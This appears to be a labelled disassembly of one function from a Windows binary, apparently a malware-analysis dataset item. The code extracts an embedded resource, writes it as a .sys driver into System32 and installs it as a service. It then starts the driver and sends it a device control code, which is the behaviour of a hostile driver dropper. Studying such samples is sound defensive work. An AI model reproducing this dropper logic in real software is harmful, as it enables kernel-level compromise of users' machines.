Function at 0x140001030
Capabilities:
Create service
Extract resource via kernel32 functions
Start service
Write file on windows

Disassembly:
mov rax, rsp
push rbp
push r12
push r13
lea rbp, [rax - 0x5f]
sub rsp, 0xd0
mov qword [rbp + 0x2f], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov rax, qword [0x140013008]
xor rax, rsp
mov qword [rbp + 0x3f], rax
lea r8, [0x14000fdb0]
mov edx, 0x6e
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbx, rax
test rax, rax
jne 0x14000108b
mov eax, 1
jmp 0x1400012b0
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rdi, rax
test rax, rax
je 0x140001081
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov r12d, eax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rsi, rax
test rax, rax
je 0x140001081
lea r13, str.C:WindowsSystem32Fuck.sys
mov rcx, r13
call fcn.140002090
lea rdx, [0x14000fdd8]
mov rcx, r13
call fcn.140002198
mov rdi, rax
test rax, rax
je 0x1400010fe
mov r8d, r12d
mov r9, rax
mov edx, 1
mov rcx, rsi
call fcn.140002330
mov rcx, rdi
call fcn.14000243c
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeResource]
xor esi, esi
mov qword [rbp - 9], rsi
mov qword [rbp - 1], rsi
mov qword [rbp + 7], rsi
mov qword [rbp + 0x17], rsi
mov ebx, esi
mov qword [rbp + 0x1f], rbx
mov qword [rbp + 0xf], 0xffffffffffffffff
mov eax, dword [str.Fuck]
mov dword [rbp + 0x37], eax
movzx eax, byte [0x14000fde0]
mov byte [rbp + 0x3b], al
call fcn.140001fe0
mov qword [rbp - 0x19], rsi
lea rcx, [rbp - 0x19]
call qword [sym.imp.KERNEL32.dll_Wow64DisableWow64FsRedirection]
mov qword [rbp - 9], r13
lea rax, [rbp + 0x37]
mov qword [rbp - 1], rax
lea rax, [rbp + 0x37]
mov qword [rbp + 7], rax
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov rdi, rax
mov qword [rbp + 0x17], rax
test rax, rax
jne 0x14000118b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp - 0x11], eax
jmp 0x14000121c
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x38], r13
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x28], 3
mov dword [rsp + 0x20], 1
mov r9d, 0xf01ff
lea r8, [rbp + 0x37]
lea rdx, [rbp + 0x37]
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov rbx, rax
mov qword [rbp + 0x1f], rax
test rax, rax
jne 0x14000121c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp - 0x11], eax
mov rcx, rdi
cmp eax, 0x431
jne 0x140001216
mov r8d, 0xf01ff
lea rdx, [rbp + 0x37]
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov rbx, rax
mov qword [rbp + 0x1f], rax
test rax, rax
jne 0x14000121c
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
jne 0x140001237
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp - 0x11], eax
mov rcx, qword [rbp - 0x19]
call qword [sym.imp.KERNEL32.dll_Wow64RevertWow64FsRedirection]
mov qword [rsp + 0x38], rsi
lea rax, [rbp + 0x27]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rsi
xor r9d, r9d
xor r8d, r8d
mov edx, 0x222008
mov rcx, qword [0x140018040]
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
call fcn.1400012e0
call fcn.1400013a0
call fcn.140001670
call fcn.140001770
mov rcx, qword [0x140018040]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
or rcx, 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rbp + 0x3f]
xor rcx, rsp
call fcn.140002070
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r13
pop r12
pop rbp
ret